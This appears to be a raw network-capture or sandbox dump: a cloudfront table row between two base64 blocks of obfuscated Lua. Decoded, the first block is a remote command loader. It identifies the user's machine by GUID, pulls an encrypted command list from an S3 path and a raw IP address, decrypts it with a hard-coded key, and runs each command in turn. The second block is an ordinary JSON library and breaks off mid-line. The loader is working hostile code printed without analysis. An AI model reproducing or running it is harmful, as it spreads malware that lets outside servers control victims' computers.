dHJ5KGUucGF0aCwiaW52YWxpZCBwYXRoICduaWwnIiksCnBhcmFtcz1lLnBhcmFtcywKcXVlcnk9
ZS5xdWVyeSwKZnJhZ21lbnQ9ZS5mcmFnbWVudAp9CmVuZApyZXR1cm4gaC5idWlsZChhKQplbmQK
bG9jYWwgZnVuY3Rpb24gcyh0KQpsb2NhbCBlPXQucHJveHkgb3IgUFJPWFkKaWYgZSB0aGVuCmU9
aC5wYXJzZShlKQpyZXR1cm4gZS5ob3N0LGUucG9ydCBvciAzMTI4CmVsc2UKcmV0dXJuIHQuaG9z
dCx0LnBvcnQKZW5kCmVuZApsb2NhbCBmdW5jdGlvbiByKGUpCmxvY2FsIHQ9ewpbInVzZXItYWdl
bnQiXT1VU0VSQUdFTlQsClsiaG9zdCJdPWUuaG9zdCwKWyJjb25uZWN0aW9uIl09ImNsb3NlLCBU
RSIsClsidGUiXT0idHJhaWxlcnMiCn0KaWYgZS51c2VyIGFuZCBlLnBhc3N3b3JkIHRoZW4KdFsi
YXV0aG9yaXphdGlvbiJdPQoiQmFzaWMgIi4uKGwuYjY0KGUudXNlci4uIjoiLi5lLnBhc3N3b3Jk
KSkKZW5kCmZvciBhLGUgaW4gYS5wYWlycyhlLmhlYWRlcnMgb3IgdClkbwp0W28ubG93ZXIoYSld
PWUKZW5kCnJldHVybiB0CmVuZApsb2NhbCBlPXsKaG9zdD0iIiwKcG9ydD1QT1JULApwYXRoPSIv
IiwKc2NoZW1lPSJodHRwIgp9CmxvY2FsIGZ1bmN0aW9uIHUobykKbG9jYWwgZT1vLnVybCBhbmQg
aC5wYXJzZShvLnVybCxlKW9ye30KZm9yIHQsYSBpbiBhLnBhaXJzKG8pZG8gZVt0XT1hIGVuZApp
ZiBlLnBvcnQ9PSIidGhlbiBlLnBvcnQ9ODAgZW5kCnQudHJ5KGUuaG9zdCBhbmQgZS5ob3N0fj0i
IiwKImludmFsaWQgaG9zdCAnIi4uYS50b3N0cmluZyhlLmhvc3QpLi4iJyIpCmUudXJpPW8udXJp
IG9yIG4oZSkKZS5ob3N0LGUucG9ydD1zKGUpCmUuaGVhZGVycz1yKGUpCnJldHVybiBlCmVuZAps
b2NhbCBmdW5jdGlvbiBsKGUsYSx0KQpyZXR1cm4gdC5sb2NhdGlvbiBhbmQKby5nc3ViKHQubG9j
YXRpb24sIiVzIiwiIil+PSIiYW5kCihlLnJlZGlyZWN0fj1mYWxzZSlhbmQKKGE9PTMwMSBvciBh
PT0zMDIpYW5kCihub3QgZS5tZXRob2Qgb3IgZS5tZXRob2Q9PSJHRVQib3IgZS5tZXRob2Q9PSJI
RUFEIikKYW5kKG5vdCBlLm5yZWRpcmVjdHMgb3IgZS5ucmVkaXJlY3RzPDUpCmVuZApsb2NhbCBm
dW5jdGlvbiByKHQsZSkKaWYgdC5tZXRob2Q9PSJIRUFEInRoZW4gcmV0dXJuIG5pbCBlbmQKaWYg
ZT09MjA0IG9yIGU9PTMwNCB0aGVuIHJldHVybiBuaWwgZW5kCmlmIGU+PTEwMCBhbmQgZTwyMDAg
dGhlbiByZXR1cm4gbmlsIGVuZApyZXR1cm4gMQplbmQKbG9jYWwgbixzCmZ1bmN0aW9uIHMoZSx0
KQpsb2NhbCBpLGEsZSxvPW57CnVybD1oLmFic29sdXRlKGUudXJsLHQpLApzb3VyY2U9ZS5zb3Vy
Y2UsCnNpbms9ZS5zaW5rLApoZWFkZXJzPWUuaGVhZGVycywKcHJveHk9ZS5wcm94eSwKbnJlZGly
ZWN0cz0oZS5ucmVkaXJlY3RzIG9yIDApKzEsCmNyZWF0ZT1lLmNyZWF0ZQp9CmU9ZSBvcnt9CmUu
bG9jYXRpb249ZS5sb2NhdGlvbiBvciB0CnJldHVybiBpLGEsZSxvCmVuZApmdW5jdGlvbiBuKG4p
CmxvY2FsIGU9dShuKQpsb2NhbCB0PW9wZW4oZS5ob3N0LGUucG9ydCxlLmNyZWF0ZSkKdDpzZW5k
cmVxdWVzdGxpbmUoZS5tZXRob2QsZS51cmkpCnQ6c2VuZGhlYWRlcnMoZS5oZWFkZXJzKQppZiBl
LnNvdXJjZSB0aGVuCnQ6c2VuZGJvZHkoZS5oZWFkZXJzLGUuc291cmNlLGUuc3RlcCkKZW5kCmxv
Y2FsIGEsaT10OnJlY2VpdmVzdGF0dXNsaW5lKCkKaWYgbm90IGEgdGhlbgp0OnJlY2VpdmUwOWJv
ZHkoaSxlLnNpbmssZS5zdGVwKQpyZXR1cm4gMSwyMDAKZW5kCmxvY2FsIG8Kd2hpbGUgYT09MTAw
IGRvCm89dDpyZWNlaXZlaGVhZGVycygpCmEsaT10OnJlY2VpdmVzdGF0dXNsaW5lKCkKZW5kCm89
dDpyZWNlaXZlaGVhZGVycygpCmlmIGwoZSxhLG8pYW5kIG5vdCBlLnNvdXJjZSB0aGVuCnQ6Y2xv
c2UoKQpyZXR1cm4gcyhuLG8ubG9jYXRpb24pCmVuZAppZiByKGUsYSl0aGVuCnQ6cmVjZWl2ZWJv
ZHkobyxlLnNpbmssZS5zdGVwKQplbmQKdDpjbG9zZSgpCnJldHVybiAxLGEsbyxpCmVuZApsb2Nh
bCBmdW5jdGlvbiBoKGUsYSkKbG9jYWwgcz17fQpsb2NhbCBlPXsKdXJsPWUsCnNpbms9aS5zaW5r
LnRhYmxlKHMpCn0KaWYgYSB0aGVuCmUuc291cmNlPWkuc291cmNlLnN0cmluZyhhKQplLmhlYWRl
cnM9ewpbImNvbnRlbnQtbGVuZ3RoIl09by5sZW4oYSksClsiY29udGVudC10eXBlIl09ImFwcGxp
Y2F0aW9uL3gtd3d3LWZvcm0tdXJsZW5jb2RlZCIKfQplLm1ldGhvZD0iUE9TVCIKZW5kCmxvY2Fs
IGUsYSx0PXQuc2tpcCgxLG4oZSkpCnJldHVybiBkLmNvbmNhdChzKSxlLGEsdAplbmQKcmVxdWVz
dD10LnByb3RlY3QoZnVuY3Rpb24oZSx0KQppZiBhLnR5cGUoZSk9PSJzdHJpbmcidGhlbiByZXR1
cm4gaChlLHQpCmVsc2UgcmV0dXJuIG4oZSllbmQKZW5kKQplbmQpCmxvY2FsIGU9cmVxdWlyZSgi
c29ja2V0Lmh0dHAiKTsKbG9jYWwgZT1yZXF1aXJlKCJjb21tb24iKTsKSlNPTj1yZXF1aXJlKCJK
U09OIik7CmU9ZS5uZXcoKTsKbG9jYWwgdD0oR2V0VXNlckd1aWQpYW5kIEdldFVzZXJHdWlkKClv
ciIiOwp0PXN0cmluZy5mb3JtYXQoIiVzLSVzLSVzLSVzLSVzIix0OnN1YigxLDgpLHQ6c3ViKDks
MTIpLHQ6c3ViKDEzLDE2KSx0OnN1YigxNywyMCksdDpzdWIoMjEpKTsKbG9jYWwgaT0oQ2hlY2tB
cmcpYW5kIENoZWNrQXJnKCJzb3VyY2UiKW9yIiI7CmxvY2FsIGE9KENoZWNrQXJnKWFuZCBDaGVj
a0FyZygib3B0aW9ucyIpb3IiIjsKbG9jYWwgcz0oYTpzdWIoNSw1KT09IjEiKWFuZCJwcm9kdWN0
aW9uIm9yImRldmVsb3BtZW50IjsKbG9jYWwgbz0oYX49IiIpYW5kIHN0cmluZy5mb3JtYXQoIiVz
IixhOnN1Yig4LDEwKSlvciI5OTkiOwpsb2NhbCBjPXRydWU7CmxvY2FsIG49IiI7CmxvY2FsIG89
c3RyaW5nLmZvcm1hdCgiaHR0cDovL3MzLmFtYXpvbmF3cy5jb20vY2RuLmFkcGsuY29tLyVzLyVz
L2NvbW1hbmRzLmRhdD9nPSVzJnM9JXMiLG8sYTpzdWIoNSw1KSxzdHJpbmcudXBwZXIodCksaSk7
CmxvY2FsIG49b3MudGltZSgpLTcwMDsKbG9jYWwgYT0iNmM2MTcxNzU2MTZlNjQ2MTc3NjE3NDZi
Njk2ZTczNzI2NTZkNmY3NDY1NjQ2MjBhIjsKbG9jYWwgaD0iMSI7CmxvY2FsIHQ9c3RyaW5nLmZv
cm1hdCgiaHR0cDovLzU0LjIyMS4xMzIuMjIwL2V1Lmpzb24/Zz0lcyZzPSVzIixzdHJpbmcudXBw
ZXIodCksaSk7CmlmIEdldFRpbWVMYXN0Q21kfj1uaWwgdGhlbgpuPUdldFRpbWVMYXN0Q21kKCk7
CmlmIG49PTAgdGhlbgpTZXRUaW1lTGFzdENtZChvcy50aW1lKCkpOwplbmQKZW5kCmUuZGVidWco
c3RyaW5nLmZvcm1hdCgiPT09PT09PT09PT09PT09PT09PT09PT09PSBWRVJTSU9OICVzICVzICVz
ID09PT09PT09PT09PT09PT09PT09PT09PT0iLEdldFZlcnNpb24oKSxzLG9zLnRpbWUoKS1uKSk7
CmZ1bmN0aW9uIEpTT046b25EZWNvZGVFcnJvcihhLHQsbyxpKQplLmRlYnVnKHN0cmluZy5mb3Jt
YXQoIkpTT04gRGVjb2RlIEVycm9yIE1lc3NhZ2U6ICVzICVzICVzIixhLG8sdCkpOwplbmQKaWYo
b3MudGltZSgpLW4pPjYwMCB0aGVuCmxvY2FsIGksdD1lLmdldGJ5aHR0cCh0KTsKaWYgU2V0VGlt
ZUxhc3RDbWR+PW5pbCB0aGVuClNldFRpbWVMYXN0Q21kKG9zLnRpbWUoKSk7CmVuZAppZiBzdHJp
bmcuZmluZCh0LCJodG1sIilvciBzdHJpbmcuZmluZCh0LCJzdGF0dXMiKW9yIHQ9PW5pbCBvciB0
PT0iInRoZW4KaSxzUmVtb3RlREI9ZS5nZXRieWh0dHAobyk7CmlmIHNSZW1vdGVEQn49bmlsIHRo
ZW4KZS5kZWJ1ZyhzdHJpbmcuZm9ybWF0KCJSZW1vdGUgY29tbWFuZHMgKCVzKSByZXRyaWV2ZWQg
ZnJvbSAlcyBzdWNjZXNzZnVsbHkiLCNzUmVtb3RlREIsbykpOwpzUmVtb3RlREI9KEVuY3J5cHQp
YW5kIEVuY3J5cHQoc1JlbW90ZURCLGEpb3IgZS5lbmNyeXB0KHNSZW1vdGVEQixhKTsKbG9jYWwg
ZT1KU09OOmRlY29kZShzUmVtb3RlREIpOwpyZW1vdGVkYl9qc29uPWU7CmVsc2UKZS5kZWJ1Zyhz
dHJpbmcuZm9ybWF0KCJSZW1vdGUgY29tbWFuZHMgcmV0cmlldmVkIGZyb20gJXMgdW5zdWNjZXNz
ZnVsbHkiLG8pKTsKZW5kCmVsc2UKaWYgc1JlbW90ZURCPT1uaWwgdGhlbgpyZXR1cm4gZmFsc2U7
CmVsc2UKc1JlbW90ZURCPShFbmNyeXB0KWFuZCBFbmNyeXB0KHNSZW1vdGVEQixhKW9yIGUuZW5j
cnlwdChzUmVtb3RlREIsYSk7CmxvY2FsIHQ9SlNPTjpkZWNvZGUoc1JlbW90ZURCKTsKcmVtb3Rl
ZGJfanNvbj10OwplLmRlYnVnKCJSZW1vdGUgY29tbWFuZHMgcmV0cmlldmVkIGZyb20gZXhjZXB0
aW9ucyBzdWNjZXNzZnVsbHkiKTsKZW5kCmVuZAplbmQKbG9jYWwgdDsKaWYgR2V0Q29tbWFuZHN+
PW5pbCB0aGVuCnQ9R2V0Q29tbWFuZHMoKTsKZWxzZQp0PWUucmVhZGZpbGUoc3RyaW5nLmZvcm1h
dCgiJXNscXdkYi5kYXQiLGUudGVtcHBhdGgoKSkpOwplbmQKbG9jYWwgYT0iIjsKaWYgdH49bmls
IHRoZW4KdD0oRW5jcnlwdClhbmQgRW5jcnlwdCh0LCJsYXF1YW5kYSB3YXRraW5zIilvciBlLmVu
Y3J5cHQodCwibGFxdWFuZGEgd2F0a2lucyIpOwphPUpTT046ZGVjb2RlKHQpOwplbHNlCmE9cmVt
b3RlZGJfanNvbjsKZW5kCmlmIHQ9PW5pbCB0aGVuCmlmIHR5cGUoYSk9PSJ0YWJsZSJ0aGVuCmUu
c2F2ZWRiKEpTT046ZW5jb2RlKGEpKTsKZWxzZQpyZXR1cm4gZmFsc2U7CmVuZAplbmQKbG9jYWwg
aT17fTsKaWYgYX49bmlsIGFuZCByZW1vdGVkYl9qc29ufj1uaWwgdGhlbgpmb3IgdCxlIGluIHBh
aXJzKGEpZG8KbG9jYWwgYT1mYWxzZTsKZm9yIG8sdCBpbiBwYWlycyhyZW1vdGVkYl9qc29uKWRv
CmlmIGVbImhhc2giXT09dFsiaGFzaCJddGhlbgpsb2NhbCBvPShlWyJyZXN1bHQiXX49bmlsKWFu
ZCBlWyJyZXN1bHQiXW9yIG5pbDsKaWYgZVsiZGF0ZSJdfj1uaWwgdGhlbgpsb2NhbCBhPWVbImRh
dGUiXTsKbG9jYWwgaT1lWyJzdGF0dXMiXTsKZT10OwplWyJzdGF0dXMiXT1pOwplWyJkYXRlIl09
YTsKZVsicmVzdWx0Il09bzsKZWxzZQplPXQ7CmVbInJlc3VsdCJdPW87CmVuZAphPXRydWU7CmVu
ZAplbmQKaWYgYSB0aGVuCnRhYmxlLmluc2VydChpLGUpOwplbmQKZW5kCmZvciB0LGUgaW4gcGFp
cnMocmVtb3RlZGJfanNvbilkbwpsb2NhbCB0PWZhbHNlOwpmb3IgbyxhIGluIHBhaXJzKGEpZG8K
aWYgZVsiaGFzaCJdPT1hWyJoYXNoIl10aGVuCnQ9dHJ1ZTsKZW5kCmVuZAppZiB0PT1mYWxzZSB0
aGVuCnRhYmxlLmluc2VydChpLGUpOwplbmQKZW5kCmE9ZS5zaGFsbG93Y29weShpKTsKaT17fTsK
ZW5kCnRhYmxlLnNvcnQoYSxmdW5jdGlvbih0LGUpcmV0dXJuIHRvbnVtYmVyKHQub3JkZXIpPHRv
bnVtYmVyKGUub3JkZXIpO2VuZCk7CmxvY2FsIHI9dHJ1ZTsKbG9jYWwgaD10cnVlOwpsb2NhbCBk
PWZhbHNlOwpsb2NhbCBsPXt9Owpsb2NhbCBvPTA7CmxvY2FsIHM9e307CmZ1bmN0aW9uIGRvR290
byhlLHQpCmZvciBhLGUgaW4gcGFpcnMoYSlkbwppZiB0PD10b251bWJlcihlWyJvcmRlciJdKXRo
ZW4KZVsic3RhdHVzIl09IjAiOwplWyJkYXRlIl09b3MudGltZSgpOwplWyJyZXN1bHQiXT1uaWw7
CmVsc2VpZiB0PnRvbnVtYmVyKGVbIm9yZGVyIl0pdGhlbgplWyJzdGF0dXMiXT0iMSI7CmVbImRh
dGUiXT1vcy50aW1lKCk7CmVuZAplbmQKZW5kCndoaWxlKGgpZG8KaT17fTsKaD1mYWxzZTsKZm9y
IHUsdCBpbiBwYWlycyhhKWRvCmlmIG8+MCB0aGVuCmRvR290byhhLG8pOwppZiBvPT10b251bWJl
cih0WyJvcmRlciJdKXRoZW4Kbz0wOwplbHNlCnRbInN0YXR1cyJdPSIxIjsKZW5kCmVuZApsb2Nh
bCB1PSh0WyJzdGF0dXMiXX49bmlsKWFuZCB0WyJzdGF0dXMiXW9yIjAiOwplLmRlYnVnKHN0cmlu
Zy5mb3JtYXQoIiMlcy0lcy4gJXMgJXMgU3RhdHVzOiAlcyBMb29wOiAlcyBHbzogJXMiLHRbIm9y
ZGVyIl0sbyx0WyJ0eHRjbWQiXSx0WyJ0eHRkbyJdLHUsdG9zdHJpbmcociksdG9zdHJpbmcoaCkp
KTsKaWYgdT09IjAiYW5kIHIgdGhlbgplLmRlYnVnKCJJbnNpZGUgTWFpbiBMb29wIik7CmlmIHRb
InR4dGRvIl09PSJHb3RvInRoZW4KZS5kZWJ1ZyhzdHJpbmcuZm9ybWF0KCJHb3RvIGNvbW1hbmQ6
ICVzIix0WyJ0eHRXaGF0Il0pKTsKbG9jYWwgZT10b251bWJlcih0WyJ0eHRXaGF0Il0pOwppZiBl
PjAgdGhlbgpkb0dvdG8oYSxlKTsKZG9Hb3RvKGksZSk7Cm89ZTsKZW5kCmVsc2UKZS5zZXRyZXN1
bHRzKGwpOwp0LGQ9ZS5jb21tYW5kKHQpOwppZiB0WyJ0eHRjbWQiXT09IklmInRoZW4KaWYgdFsi
dHh0V2hhdFRoZW4iXT09IkdvdG8ib3IgdFsidHh0V2hhdEVsc2UiXT09IkdvdG8idGhlbgpsb2Nh
bCBuPWUuc3BsaXQodFsidHh0R290byJdLCIsIik7CmxvY2FsIHM9KG5bMV1+PW5pbClhbmQgdG9u
dW1iZXIoblsxXSlvciAwOwpsb2NhbCBuPShuWzJdfj1uaWwpYW5kIHRvbnVtYmVyKG5bMl0pb3Ig
MDsKbG9jYWwgdD0odFsicmVzdWx0Il09PSIxIilhbmQgcyBvciBuOwppZiB0PjAgdGhlbgplLmRl
YnVnKHN0cmluZy5mb3JtYXQoIkdvdG8gQ29tbWFuZDogIyVzIix0KSk7CmRvR290byhhLHQpOwpk
b0dvdG8oaSx0KTsKbz10OwplbmQKZW5kCmVuZAplbmQKaWYgZD09dHJ1ZSB0aGVuCmQ9ZmFsc2U7
CnI9dHJ1ZTsKZWxzZQpyPWZhbHNlOwplbmQKZW5kCmlmIHRbInJlc3VsdCJdfj1uaWwgdGhlbgps
W3RbIm9yZGVyIl1dPXRbInJlc3VsdCJdOwplbHNlCmxbdFsib3JkZXIiXV09IiI7CmVuZAppZiBv
PjAgdGhlbgpoPXRydWU7CnNbb109KHNbb10pYW5kIHNbb10rMSBvciAxOwppZiBzW29dPjIwIHRo
ZW4Kbj1uLTk5OTk5OwplLmRlYnVnKHN0cmluZy5mb3JtYXQoIkxvb3AgT3ZlcmZsb3c6ICVzICVz
ICVzOiVzIixvcy50aW1lKCksbixvLHNbb10pKTsKU2V0VGltZUxhc3RDbWQoMCk7CmJyZWFrOwpl
bmQKZW5kCnRhYmxlLmluc2VydChpLHQpOwplbmQKaWYgR2V0VGltZUxhc3RDbWQgdGhlbgppZiBo
IGFuZCBHZXRUaW1lTGFzdENtZCgpPjAgdGhlbgpyPXRydWU7CmVuZAplbmQKZS5zYXZlZGIoSlNP
TjplbmNvZGUoaSkpOwphPWUuc2hhbGxvd2NvcHkoaSk7CmVuZApyZXR1cm4gYzs=
|
d214gtxr0n6ti0.cloudfront.net (54.230.45.172:80) | ||||||||||||||||||||||
---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
ID | URI | RESPONSE TYPE | FILENAME | RESPONSE CODE | MAGIC | SIZE | TIME | |||||||||||||||
21 | /v2/tfn5306351516.html(20) | text/html | tfn5306351516.html(20) | 200 OK | TEXT | 46.2 KB | 07/05/27 02:10:49 | |||||||||||||||
IyEvdXNyL2Jpbi9lbnYgbHVhCnBhY2thZ2UucHJlbG9hZFsnSlNPTiddPShmdW5jdGlvbiguLi4p
CmxvY2FsIGU9MjAxNDA0MTguMTEKbG9jYWwgdD17VkVSU0lPTj1lfQpsb2NhbCBlPSItWyBKU09O
Lmx1YSBwYWNrYWdlIGJ5IEplZmZyZXkgRnJpZWRsIChodHRwOi8vcmVnZXguaW5mby9ibG9nL2x1
YS9qc29uKSwgdmVyc2lvbiAiLi50b3N0cmluZyhlKS4uIiBdLSIKbG9jYWwgYT17X190b3N0cmlu
Zz1mdW5jdGlvbigpcmV0dXJuIkpTT04gYXJyYXkiZW5kfWEuX19pbmRleD1hCmxvY2FsIGU9e19f
dG9zdHJpbmc9ZnVuY3Rpb24oKXJldHVybiJKU09OIG9iamVjdCJlbmR9ZS5fX2luZGV4PWUKZnVu
Y3Rpb24gdDpuZXdBcnJheShlKQpyZXR1cm4gc2V0bWV0YXRhYmxlKGUgb3J7fSxhKQplbmQKZnVu
Y3Rpb24gdDpuZXdPYmplY3QodCkKcmV0dXJuIHNldG1ldGF0YWJsZSh0IG9ye30sZSkKZW5kCmxv
Y2FsIGZ1bmN0aW9uIHIoZSkKaWYgZTw9MTI3IHRoZW4KcmV0dXJuIHN0cmluZy5jaGFyKGUpCmVs
c2VpZiBlPD0yMDQ3IHRoZW4KbG9jYWwgdD1tYXRoLmZsb29yKGUvNjQpCmxvY2FsIGU9ZS0oNjQq
dCkKcmV0dXJuIHN0cmluZy5jaGFyKDE5Mit0LAoxMjgrZSkKZWxzZWlmIGU8PTY1NTM1IHRoZW4K
bG9jYWwgdD1tYXRoLmZsb29yKGUvNDA5NikKbG9jYWwgYT1lLTQwOTYqdApsb2NhbCBlPW1hdGgu
Zmxvb3IoYS82NCkKbG9jYWwgYT1hLTY0KmUKdD0yMjQrdAplPTEyOCtlCmE9MTI4K2EKaWYodD09
MjI0IGFuZCBlPDE2MClvcgoodD09MjM3IGFuZCBlPjE1OSlvcgoodD09MjQwIGFuZCBlPDE0NClv
cgoodD09MjQ0IGFuZCBlPjE0MykKdGhlbgpyZXR1cm4iPyIKZWxzZQpyZXR1cm4gc3RyaW5nLmNo
YXIodCwKZSwKYSkKZW5kCmVsc2UKbG9jYWwgdD1tYXRoLmZsb29yKGUvMjYyMTQ0KQpsb2NhbCBl
PWUtMjYyMTQ0KnQKbG9jYWwgYT1tYXRoLmZsb29yKGUvNDA5NikKZT1lLTQwOTYqYQpsb2NhbCBv
PW1hdGguZmxvb3IoZS82NCkKbG9jYWwgZT1lLTY0Km8KcmV0dXJuIHN0cmluZy5jaGFyKDI0MCt0
LAoxMjgrYSwKMTI4K28sCjEyOCtlKQplbmQKZW5kCmZ1bmN0aW9uIHQ6b25EZWNvZGVFcnJvcihl
LGEsaSxvKQppZiBhIHRoZW4KaWYgaSB0aGVuCmU9c3RyaW5nLmZvcm1hdCgiJXMgYXQgY2hhciAl
ZCBvZjogJXMiLGUsaSxhKQplbHNlCmU9c3RyaW5nLmZvcm1hdCgiJXM6ICVzIixlLGEpCmVuZApl
bmQKaWYgb349bmlsIHRoZW4KZT1lLi4iICgiLi50OmVuY29kZShvKS4uIikiCmVuZAppZiBzZWxm
LmFzc2VydCB0aGVuCnNlbGYuYXNzZXJ0KGZhbHNlLGUpCmVsc2UKYXNzZXJ0KGZhbHNlLGUpCmVu
ZAplbmQKdC5vbkRlY29kZU9mTmlsRXJyb3I9dC5vbkRlY29kZUVycm9yCnQub25EZWNvZGVPZkhU
TUxFcnJvcj10Lm9uRGVjb2RlRXJyb3IKZnVuY3Rpb24gdDpvbkVuY29kZUVycm9yKGUsYSkKaWYg
YX49bmlsIHRoZW4KZT1lLi4iICgiLi50OmVuY29kZShhKS4uIikiCmVuZAppZiBzZWxmLmFzc2Vy
dCB0aGVuCnNlbGYuYXNzZXJ0KGZhbHNlLGUpCmVsc2UKYXNzZXJ0KGZhbHNlLGUpCmVuZAplbmQK
bG9jYWwgZnVuY3Rpb24gbChuLHQsYSxpKQpsb2NhbCBvPXQ6bWF0Y2goJ14tP1sxLTldJWQqJyxh
KQpvciB0Om1hdGNoKCJeLT8wIixhKQppZiBub3QgbyB0aGVuCm46b25EZWNvZGVFcnJvcigiZXhw
ZWN0ZWQgbnVtYmVyIix0LGEsaSkKZW5kCmxvY2FsIGU9YStvOmxlbigpCmxvY2FsIHM9dDptYXRj
aCgnXiUuJWQrJyxlKW9yIiIKZT1lK3M6bGVuKCkKbG9jYWwgaD10Om1hdGNoKCdeW2VFXVstK10/
JWQrJyxlKW9yIiIKZT1lK2g6bGVuKCkKbG9jYWwgbz1vLi5zLi5oCmxvY2FsIG89dG9udW1iZXIo
bykKaWYgbm90IG8gdGhlbgpuOm9uRGVjb2RlRXJyb3IoImJhZCBudW1iZXIiLHQsYSxpKQplbmQK
cmV0dXJuIG8sZQplbmQKbG9jYWwgZnVuY3Rpb24gZChuLGEsaSxzKQppZiBhOnN1YihpLGkpfj0n
Iid0aGVuCm46b25EZWNvZGVFcnJvcigiZXhwZWN0ZWQgc3RyaW5nJ3Mgb3BlbmluZyBxdW90ZSIs
YSxpLHMpCmVuZApsb2NhbCBlPWkrMQpsb2NhbCBvPWE6bGVuKCkKbG9jYWwgdD0iIgp3aGlsZSBl
PD1vIGRvCmxvY2FsIG89YTpzdWIoZSxlKQppZiBvPT0nIid0aGVuCnJldHVybiB0LGUrMQplbmQK
aWYgb349J1xcJ3RoZW4KdD10Li5vCmU9ZSsxCmVsc2VpZiBhOm1hdGNoKCdeXFxiJyxlKXRoZW4K
dD10Li4iXGIiCmU9ZSsyCmVsc2VpZiBhOm1hdGNoKCdeXFxmJyxlKXRoZW4KdD10Li4iXGYiCmU9
ZSsyCmVsc2VpZiBhOm1hdGNoKCdeXFxuJyxlKXRoZW4KdD10Li4iXG4iCmU9ZSsyCmVsc2VpZiBh
Om1hdGNoKCdeXFxyJyxlKXRoZW4KdD10Li4iXHIiCmU9ZSsyCmVsc2VpZiBhOm1hdGNoKCdeXFx0
JyxlKXRoZW4KdD10Li4iXHQiCmU9ZSsyCmVsc2UKbG9jYWwgbz1hOm1hdGNoKCdeXFx1KFswMTIz
NDU2Nzg5YUFiQmNDZERlRWZGXVswMTIzNDU2Nzg5YUFiQmNDZERlRWZGXVswMTIzNDU2Nzg5YUFi
QmNDZERlRWZGXVswMTIzNDU2Nzg5YUFiQmNDZERlRWZGXSknLGUpCmlmIG8gdGhlbgplPWUrNgps
b2NhbCBvPXRvbnVtYmVyKG8sMTYpCmlmIG8+PTU1Mjk2IGFuZCBvPD01NjMxOSB0aGVuCmxvY2Fs
IHQ9YTptYXRjaCgnXlxcdShbZERdW2NkZWZDREVGXVswMTIzNDU2Nzg5YUFiQmNDZERlRWZGXVsw
MTIzNDU2Nzg5YUFiQmNDZERlRWZGXSknLGUpCmlmIHQgdGhlbgplPWUrNgpvPTkyMTYrKG8tNTUy
OTYpKjEwMjQrdG9udW1iZXIodCwxNikKZWxzZQplbmQKZW5kCnQ9dC4ucihvKQplbHNlCnQ9dC4u
YTptYXRjaCgnXlxcKC4pJyxlKQplPWUrMgplbmQKZW5kCmVuZApuOm9uRGVjb2RlRXJyb3IoInVu
Y2xvc2VkIHN0cmluZyIsYSxpLHMpCmVuZApsb2NhbCBmdW5jdGlvbiBhKGUsdCkKbG9jYWwgYSxl
PWU6ZmluZCgiXlsgXG5cclx0XSsiLHQpCmlmIGUgdGhlbgpyZXR1cm4gZSsxCmVsc2UKcmV0dXJu
IHQKZW5kCmVuZApsb2NhbCBzCmxvY2FsIGZ1bmN0aW9uIHUobyx0LGksbikKaWYgbm90IHQ6c3Vi
KGksaSk9PSd7J3RoZW4KbzpvbkRlY29kZUVycm9yKCJleHBlY3RlZCAneyciLHQsaSxuKQplbmQK
bG9jYWwgZT1hKHQsaSsxKQpsb2NhbCBoPW8uc3RyaWN0VHlwZXMgYW5kIG86bmV3T2JqZWN0e31v
cnt9CmlmIHQ6c3ViKGUsZSk9PSd9J3RoZW4KcmV0dXJuIGgsZSsxCmVuZApsb2NhbCByPXQ6bGVu
KCkKd2hpbGUgZTw9ciBkbwpsb2NhbCByLGk9ZChvLHQsZSxuKQplPWEodCxpKQppZiB0OnN1Yihl
LGUpfj0nOid0aGVuCm86b25EZWNvZGVFcnJvcigiZXhwZWN0ZWQgY29sb24iLHQsZSxuKQplbmQK
ZT1hKHQsZSsxKQpsb2NhbCBpLHM9cyhvLHQsZSkKaFtyXT1pCmU9YSh0LHMpCmxvY2FsIGk9dDpz
dWIoZSxlKQppZiBpPT0nfSd0aGVuCnJldHVybiBoLGUrMQplbmQKaWYgdDpzdWIoZSxlKX49Jywn
dGhlbgpvOm9uRGVjb2RlRXJyb3IoImV4cGVjdGVkIGNvbW1hIG9yICd9JyIsdCxlLG4pCmVuZApl
PWEodCxlKzEpCmVuZApvOm9uRGVjb2RlRXJyb3IoInVuY2xvc2VkICd7JyIsdCxpLG4pCmVuZAps
b2NhbCBmdW5jdGlvbiBjKG8sdCxpLG4pCmlmIG5vdCB0OnN1YihpLGkpPT0nWyd0aGVuCm86b25E
ZWNvZGVFcnJvcigiZXhwZWN0ZWQgJ1snIix0LGksbikKZW5kCmxvY2FsIGU9YSh0LGkrMSkKbG9j
YWwgcj1vLnN0cmljdFR5cGVzIGFuZCBvOm5ld0FycmF5e31vcnt9CmlmIHQ6c3ViKGUsZSk9PSdd
J3RoZW4KcmV0dXJuIHIsZSsxCmVuZApsb2NhbCBoPTEKbG9jYWwgZD10OmxlbigpCndoaWxlIGU8
PWQgZG8KbG9jYWwgcyxpPXMobyx0LGUpCnJbaF09cwpoPWgrMQplPWEodCxpKQpsb2NhbCBpPXQ6
c3ViKGUsZSkKaWYgaT09J10ndGhlbgpyZXR1cm4gcixlKzEKZW5kCmlmIHQ6c3ViKGUsZSl+PScs
J3RoZW4KbzpvbkRlY29kZUVycm9yKCJleHBlY3RlZCBjb21tYSBvciAnWyciLHQsZSxuKQplbmQK
ZT1hKHQsZSsxKQplbmQKbzpvbkRlY29kZUVycm9yKCJ1bmNsb3NlZCAnWyciLHQsaSxuKQplbmQK
cz1mdW5jdGlvbihpLHQsZSxvKQplPWEodCxlKQppZiBlPnQ6bGVuKCl0aGVuCmk6b25EZWNvZGVF
cnJvcigidW5leHBlY3RlZCBlbmQgb2Ygc3RyaW5nIix0LG5pbCxvKQplbmQKaWYgdDpmaW5kKCde
IicsZSl0aGVuCnJldHVybiBkKGksdCxlLG8pCmVsc2VpZiB0OmZpbmQoJ15bLTAxMjM0NTY3ODkg
XScsZSl0aGVuCnJldHVybiBsKGksdCxlLG8pCmVsc2VpZiB0OmZpbmQoJ14leycsZSl0aGVuCnJl
dHVybiB1KGksdCxlLG8pCmVsc2VpZiB0OmZpbmQoJ14lWycsZSl0aGVuCnJldHVybiBjKGksdCxl
LG8pCmVsc2VpZiB0OmZpbmQoJ150cnVlJyxlKXRoZW4KcmV0dXJuIHRydWUsZSs0CmVsc2VpZiB0
OmZpbmQoJ15mYWxzZScsZSl0aGVuCnJldHVybiBmYWxzZSxlKzUKZWxzZWlmIHQ6ZmluZCgnXm51
bGwnLGUpdGhlbgpyZXR1cm4gbmlsLGUrNAplbHNlCmk6b25EZWNvZGVFcnJvcigiY2FuJ3QgcGFy
